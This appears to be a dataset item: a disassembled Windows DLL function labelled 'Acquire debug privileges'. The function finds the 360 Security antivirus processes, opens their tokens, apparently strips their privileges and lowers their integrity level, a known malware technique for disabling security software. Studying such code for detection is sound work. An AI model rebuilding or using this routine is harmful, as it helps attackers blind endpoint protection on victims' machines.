Function at 0x100018ea
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
mov eax, dword [0x100200b0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
call fcn.10001772
push str.360tray.exe
call fcn.100017fe
mov esi, dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
xor ebx, ebx
pop ecx
mov edi, str.SeDebugPrivilege
cmp eax, ebx
jne 0x10001926
mov dword [ebp - 0x44], ebx
jmp 0x10001bb3
push eax
push ebx
push 0x1000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x44], eax
cmp eax, 0xffffffff
je 0x1000191e
lea eax, [ebp - 0x34]
push eax
push 0xf01ff
push dword [ebp - 0x44]
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x1000195c
push dword [ebp - 0x44]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1000191e
lea eax, [ebp - 0x4c]
push eax
push edi
push ebx
call esi
mov eax, dword [ebp - 0x4c]
push ebx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x48]
push ebx
push 0x10
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x20]
push eax
push ebx
push dword [ebp - 0x34]
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x14], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x100019a0
mov dword [ebp - 0x44], 3
jmp 0x10001bb3
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x3c]
push eax
push edi
push ebx
call esi
test eax, eax
je 0x100019bf
mov ecx, dword [ebp - 0x40]
lea eax, [ebp - 0x3c]
push eax
call fcn.100018a0
pop ecx
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0x3c]
push eax
push str.SeChangeNotifyPrivilege
push ebx
call esi
test eax, eax
je 0x100019de
lea eax, [ebp - 0x3c]
push eax
mov ecx, edi
call fcn.100018a0
pop ecx
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0x3c]
push eax
push str.SeTcbPrivilege
push ebx
call esi
test eax, eax
je 0x100019fd
lea eax, [ebp - 0x3c]
push eax
mov ecx, edi
call fcn.100018a0
pop ecx
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0x3c]
push eax
push str.SeImpersonatePrivilege
push ebx
call esi
test eax, eax
je 0x10001a1c
lea eax, [ebp - 0x3c]
push eax
mov ecx, edi
call fcn.100018a0
pop ecx
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0x3c]
push eax
push str.SeLoadDriverPrivilege
push ebx
call esi
test eax, eax
je 0x10001a3b
lea eax, [ebp - 0x3c]
push eax
mov ecx, edi
call fcn.100018a0
pop ecx
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0x3c]
push eax
push str.SeRestorePrivilege
push ebx
call esi
test eax, eax
je 0x10001a5a
lea eax, [ebp - 0x3c]
push eax
mov ecx, edi
call fcn.100018a0
pop ecx
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0x3c]
push eax
push str.SeBackupPrivilege
push ebx
call esi
test eax, eax
je 0x10001a79
lea eax, [ebp - 0x3c]
push eax
mov ecx, edi
call fcn.100018a0
pop ecx
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0x3c]
push eax
push str.SeSecurityPrivilege
push ebx
call esi
test eax, eax
je 0x10001a98
lea eax, [ebp - 0x3c]
push eax
mov ecx, edi
call fcn.100018a0
pop ecx
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0x3c]
push eax
push str.SeSystemEnvironmentPrivilege
push ebx
call esi
test eax, eax
je 0x10001ab7
lea eax, [ebp - 0x3c]
push eax
mov ecx, edi
call fcn.100018a0
pop ecx
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0x3c]
push eax
push str.SeIncreaseQuotaPrivilege
push ebx
call esi
test eax, eax
je 0x10001ad6
lea eax, [ebp - 0x3c]
push eax
mov ecx, edi
call fcn.100018a0
pop ecx
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0x3c]
push eax
push str.SeTakeOwnershipPrivilege
push ebx
call esi
test eax, eax
je 0x10001af5
lea eax, [ebp - 0x3c]
push eax
mov ecx, edi
call fcn.100018a0
pop ecx
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0x3c]
push eax
push str.SeIncreaseBasePriorityPrivilege
push ebx
call esi
test eax, eax
je 0x10001b14
lea eax, [ebp - 0x3c]
push eax
mov ecx, edi
call fcn.100018a0
pop ecx
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0x3c]
push eax
push str.SeShutdownPrivilege
push ebx
call esi
test eax, eax
je 0x10001b33
lea eax, [ebp - 0x3c]
push eax
mov ecx, edi
call fcn.100018a0
pop ecx
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0x3c]
push eax
push str.SeAssignPrimaryTokenPrivilege
push ebx
call esi
test eax, eax
je 0x10001b52
lea eax, [ebp - 0x3c]
push eax
mov ecx, edi
call fcn.100018a0
pop ecx
xor eax, eax
lea edi, [ebp - 0xf]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
lea edi, [ebp - 0x54]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
push eax
mov word [ebp - 0x10], 0x101
mov byte [ebp - 9], 0x10
mov dword [ebp - 8], ebx
mov dword [ebp - 0x50], 0x20
mov dword [ebp - 0x54], eax
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
add eax, 8
push eax
lea eax, [ebp - 0x54]
push eax
push 0x19
push dword [ebp - 0x34]
call dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
push dword [ebp - 0x34]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [ebp - 0x44]
call edi
mov dword [ebp - 0x44], 1
mov edi, str.SeDebugPrivilege
push str.360sd.exe
call fcn.100017fe
pop ecx
cmp eax, ebx
je 0x10001e4b
push eax
push ebx
push 0x1000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x40], eax
cmp eax, 0xffffffff
je 0x10001e4b
lea eax, [ebp - 0x34]
push eax
push 0xf01ff
push dword [ebp - 0x40]
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x10001c03
push dword [ebp - 0x40]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10001e4b
lea eax, [ebp - 0x3c]
push eax
push edi
push ebx
call esi
mov eax, dword [ebp - 0x3c]
push ebx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x38]
push ebx
push 0x10
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x30]
push eax
push ebx
push dword [ebp - 0x34]
mov dword [ebp - 0x30], 1
mov dword [ebp - 0x24], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x10001e4b
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0xc]
push eax
push edi
push ebx
call esi
test eax, eax
je 0x10001c5e
mov ecx, dword [ebp - 0x50]
lea eax, [ebp - 0xc]
push eax
call fcn.100018a0
pop ecx
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0xc]
push eax
push str.SeChangeNotifyPrivilege
push ebx
call esi
test eax, eax
je 0x10001c7d
lea eax, [ebp - 0xc]
push eax
mov ecx, edi
call fcn.100018a0
pop ecx
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0xc]
push eax
push str.SeTcbPrivilege
push ebx
call esi
test eax, eax
je 0x10001c9c
lea eax, [ebp - 0xc]
push eax
mov ecx, edi
call fcn.100018a0
pop ecx
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0xc]
push eax
push str.SeImpersonatePrivilege
push ebx
call esi
test eax, eax
je 0x10001cbb
lea eax, [ebp - 0xc]
push eax
mov ecx, edi
call fcn.100018a0
pop ecx
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0xc]
push eax
push str.SeLoadDriverPrivilege
push ebx
call esi
test eax, eax
je 0x10001cda
lea eax, [ebp - 0xc]
push eax
mov ecx, edi
call fcn.100018a0
pop ecx
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0xc]
push eax
push str.SeRestorePrivilege
push ebx
call esi
test eax, eax
je 0x10001cf9
lea eax, [ebp - 0xc]
push eax
mov ecx, edi
call fcn.100018a0
pop ecx
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0xc]
push eax
push str.SeBackupPrivilege
push ebx
call esi
test eax, eax
je 0x10001d18
lea eax, [ebp - 0xc]
push eax
mov ecx, edi
call fcn.100018a0
pop ecx
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0xc]
push eax
push str.SeSecurityPrivilege
push ebx
call esi
test eax, eax
je 0x10001d37
lea eax, [ebp - 0xc]
push eax
mov ecx, edi
call fcn.100018a0
pop ecx
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0xc]
push eax
push str.SeSystemEnvironmentPrivilege
push ebx
call esi
test eax, eax
je 0x10001d56
lea eax, [ebp - 0xc]
push eax
mov ecx, edi
call fcn.100018a0
pop ecx
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0xc]
push eax
push str.SeIncreaseQuotaPrivilege
push ebx
call esi
test eax, eax
je 0x10001d75
lea eax, [ebp - 0xc]
push eax
mov ecx, edi
call fcn.100018a0
pop ecx
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0xc]
push eax
push str.SeTakeOwnershipPrivilege
push ebx
call esi
test eax, eax
je 0x10001d94
lea eax, [ebp - 0xc]
push eax
mov ecx, edi
call fcn.100018a0
pop ecx
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0xc]
push eax
push str.SeIncreaseBasePriorityPrivilege
push ebx
call esi
test eax, eax
je 0x10001db3
lea eax, [ebp - 0xc]
push eax
mov ecx, edi
call fcn.100018a0
pop ecx
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0xc]
push eax
push str.SeShutdownPrivilege
push ebx
call esi
test eax, eax
je 0x10001dd2
lea eax, [ebp - 0xc]
push eax
mov ecx, edi
call fcn.100018a0
pop ecx
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0xc]
push eax
push str.SeAssignPrimaryTokenPrivilege
push ebx
call esi
test eax, eax
je 0x10001df1
lea eax, [ebp - 0xc]
push eax
mov ecx, edi
call fcn.100018a0
pop ecx
xor eax, eax
lea edi, [ebp - 0x1b]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
lea edi, [ebp - 0x4c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x1c]
push eax
mov word [ebp - 0x1c], 0x101
mov byte [ebp - 0x15], 0x10
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x48], 0x20
mov dword [ebp - 0x4c], eax
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
add eax, 8
push eax
lea eax, [ebp - 0x4c]
push eax
push 0x19
push dword [ebp - 0x34]
call dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
push dword [ebp - 0x34]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [ebp - 0x40]
call edi
mov edi, str.SeDebugPrivilege
push str.360rp.exe
call fcn.100017fe
pop ecx
cmp eax, ebx
je 0x100020e3
push eax
push ebx
push 0x1000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x40], eax
cmp eax, 0xffffffff
je 0x100020e3
lea eax, [ebp - 0x34]
push eax
push 0xf01ff
push dword [ebp - 0x40]
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x10001e9b
push dword [ebp - 0x40]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x100020e3
lea eax, [ebp - 0x3c]
push eax
push edi
push ebx
call esi
mov eax, dword [ebp - 0x3c]
push ebx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x38]
push ebx
push 0x10
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x30]
push eax
push ebx
push dword [ebp - 0x34]
mov dword [ebp - 0x30], 1
mov dword [ebp - 0x24], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x100020e3
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0xc]
push eax
push edi
push ebx
call esi
test eax, eax
je 0x10001ef6
mov ecx, dword [ebp - 0x50]
lea eax, [ebp - 0xc]
push eax
call fcn.100018a0
pop ecx
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0xc]
push eax
push str.SeChangeNotifyPrivilege
push ebx
call esi
test eax, eax
je 0x10001f15
lea eax, [ebp - 0xc]
push eax
mov ecx, edi
call fcn.100018a0
pop ecx
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0xc]
push eax
push str.SeTcbPrivilege
push ebx
call esi
test eax, eax
je 0x10001f34
lea eax, [ebp - 0xc]
push eax
mov ecx, edi
call fcn.100018a0
pop ecx
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0xc]
push eax
push str.SeImpersonatePrivilege
push ebx
call esi
test eax, eax
je 0x10001f53
lea eax, [ebp - 0xc]
push eax
mov ecx, edi
call fcn.100018a0
pop ecx
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0xc]
push eax
push str.SeLoadDriverPrivilege
push ebx
call esi
test eax, eax
je 0x10001f72
lea eax, [ebp - 0xc]
push eax
mov ecx, edi
call fcn.100018a0
pop ecx
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0xc]
push eax
push str.SeRestorePrivilege
push ebx
call esi
test eax, eax
je 0x10001f91
lea eax, [ebp - 0xc]
push eax
mov ecx, edi
call fcn.100018a0
pop ecx
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0xc]
push eax
push str.SeBackupPrivilege
push ebx
call esi
test eax, eax
je 0x10001fb0
lea eax, [ebp - 0xc]
push eax
mov ecx, edi
call fcn.100018a0
pop ecx
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0xc]
push eax
push str.SeSecurityPrivilege
push ebx
call esi
test eax, eax
je 0x10001fcf
lea eax, [ebp - 0xc]
push eax
mov ecx, edi
call fcn.100018a0
pop ecx
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0xc]
push eax
push str.SeSystemEnvironmentPrivilege
push ebx
call esi
test eax, eax
je 0x10001fee
lea eax, [ebp - 0xc]
push eax
mov ecx, edi
call fcn.100018a0
pop ecx
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0xc]
push eax
push str.SeIncreaseQuotaPrivilege
push ebx
call esi
test eax, eax
je 0x1000200d
lea eax, [ebp - 0xc]
push eax
mov ecx, edi
call fcn.100018a0
pop ecx
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0xc]
push eax
push str.SeTakeOwnershipPrivilege
push ebx
call esi
test eax, eax
je 0x1000202c
lea eax, [ebp - 0xc]
push eax
mov ecx, edi
call fcn.100018a0
pop ecx
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0xc]
push eax
push str.SeIncreaseBasePriorityPrivilege
push ebx
call esi
test eax, eax
je 0x1000204b
lea eax, [ebp - 0xc]
push eax
mov ecx, edi
call fcn.100018a0
pop ecx
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0xc]
push eax
push str.SeShutdownPrivilege
push ebx
call esi
test eax, eax
je 0x1000206a
lea eax, [ebp - 0xc]
push eax
mov ecx, edi
call fcn.100018a0
pop ecx
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0xc]
push eax
push str.SeAssignPrimaryTokenPrivilege
push ebx
call esi
test eax, eax
je 0x10002089
lea eax, [ebp - 0xc]
push eax
mov ecx, edi
call fcn.100018a0
pop ecx
xor eax, eax
lea edi, [ebp - 0x1b]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
lea edi, [ebp - 0x4c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x1c]
push eax
mov word [ebp - 0x1c], 0x101
mov byte [ebp - 0x15], 0x10
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x48], 0x20
mov dword [ebp - 0x4c], eax
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
add eax, 8
push eax
lea eax, [ebp - 0x4c]
push eax
push 0x19
push dword [ebp - 0x34]
call dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
push dword [ebp - 0x34]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [ebp - 0x40]
call edi
mov edi, str.SeDebugPrivilege
push str.360rps.exe
call fcn.100017fe
pop ecx
cmp eax, ebx
je 0x10002376
push eax
push ebx
push 0x1000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x40], eax
cmp eax, 0xffffffff
je 0x10002376
lea eax, [ebp - 0x34]
push eax
push 0xf01ff
push dword [ebp - 0x40]
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x10002133
push dword [ebp - 0x40]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10002376
lea eax, [ebp - 0x3c]
push eax
push edi
push ebx
call esi
mov eax, dword [ebp - 0x3c]
push ebx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x38]
push ebx
push 0x10
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x30]
push eax
push ebx
push dword [ebp - 0x34]
mov dword [ebp - 0x30], 1
mov dword [ebp - 0x24], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x10002376
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0xc]
push eax
push edi
push ebx
call esi
test eax, eax
je 0x1000218e
mov ecx, dword [ebp - 0x50]
lea eax, [ebp - 0xc]
push eax
call fcn.100018a0
pop ecx
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0xc]
push eax
push str.SeChangeNotifyPrivilege
push ebx
call esi
test eax, eax
je 0x100021ad
lea eax, [ebp - 0xc]
push eax
mov ecx, edi
call fcn.100018a0
pop ecx
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0xc]
push eax
push str.SeTcbPrivilege
push ebx
call esi
test eax, eax
je 0x100021cc
lea eax, [ebp - 0xc]
push eax
mov ecx, edi
call fcn.100018a0
pop ecx
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0xc]
push eax
push str.SeImpersonatePrivilege
push ebx
call esi
test eax, eax
je 0x100021eb
lea eax, [ebp - 0xc]
push eax
mov ecx, edi
call fcn.100018a0
pop ecx
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0xc]
push eax
push str.SeLoadDriverPrivilege
push ebx
call esi
test eax, eax
je 0x1000220a
lea eax, [ebp - 0xc]
push eax
mov ecx, edi
call fcn.100018a0
pop ecx
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0xc]
push eax
push str.SeRestorePrivilege
push ebx
call esi
test eax, eax
je 0x10002229
lea eax, [ebp - 0xc]
push eax
mov ecx, edi
call fcn.100018a0
pop ecx
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0xc]
push eax
push str.SeBackupPrivilege
push ebx
call esi
test eax, eax
je 0x10002248
lea eax, [ebp - 0xc]
push eax
mov ecx, edi
call fcn.100018a0
pop ecx
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0xc]
push eax
push str.SeSecurityPrivilege
push ebx
call esi
test eax, eax
je 0x10002267
lea eax, [ebp - 0xc]
push eax
mov ecx, edi
call fcn.100018a0
pop ecx
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0xc]
push eax
push str.SeSystemEnvironmentPrivilege
push ebx
call esi
test eax, eax
je 0x10002286
lea eax, [ebp - 0xc]
push eax
mov ecx, edi
call fcn.100018a0
pop ecx
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0xc]
push eax
push str.SeIncreaseQuotaPrivilege
push ebx
call esi
test eax, eax
je 0x100022a5
lea eax, [ebp - 0xc]
push eax
mov ecx, edi
call fcn.100018a0
pop ecx
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0xc]
push eax
push str.SeTakeOwnershipPrivilege
push ebx
call esi
test eax, eax
je 0x100022c4
lea eax, [ebp - 0xc]
push eax
mov ecx, edi
call fcn.100018a0
pop ecx
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0xc]
push eax
push str.SeIncreaseBasePriorityPrivilege
push ebx
call esi
test eax, eax
je 0x100022e3
lea eax, [ebp - 0xc]
push eax
mov ecx, edi
call fcn.100018a0
pop ecx
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0xc]
push eax
push str.SeShutdownPrivilege
push ebx
call esi
test eax, eax
je 0x10002302
lea eax, [ebp - 0xc]
push eax
mov ecx, edi
call fcn.100018a0
pop ecx
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0xc]
push eax
push str.SeAssignPrimaryTokenPrivilege
push ebx
call esi
test eax, eax
je 0x10002321
lea eax, [ebp - 0xc]
push eax
mov ecx, edi
call fcn.100018a0
pop ecx
xor eax, eax
lea edi, [ebp - 0x1b]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
lea edi, [ebp - 0x4c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x1c]
push eax
mov word [ebp - 0x1c], 0x101
mov byte [ebp - 0x15], 0x10
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x48], 0x20
mov dword [ebp - 0x4c], eax
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
add eax, 8
push eax
lea eax, [ebp - 0x4c]
push eax
push 0x19
push dword [ebp - 0x34]
call dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
push dword [ebp - 0x34]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x40]
call esi
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x44]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000a9e1
leave
ret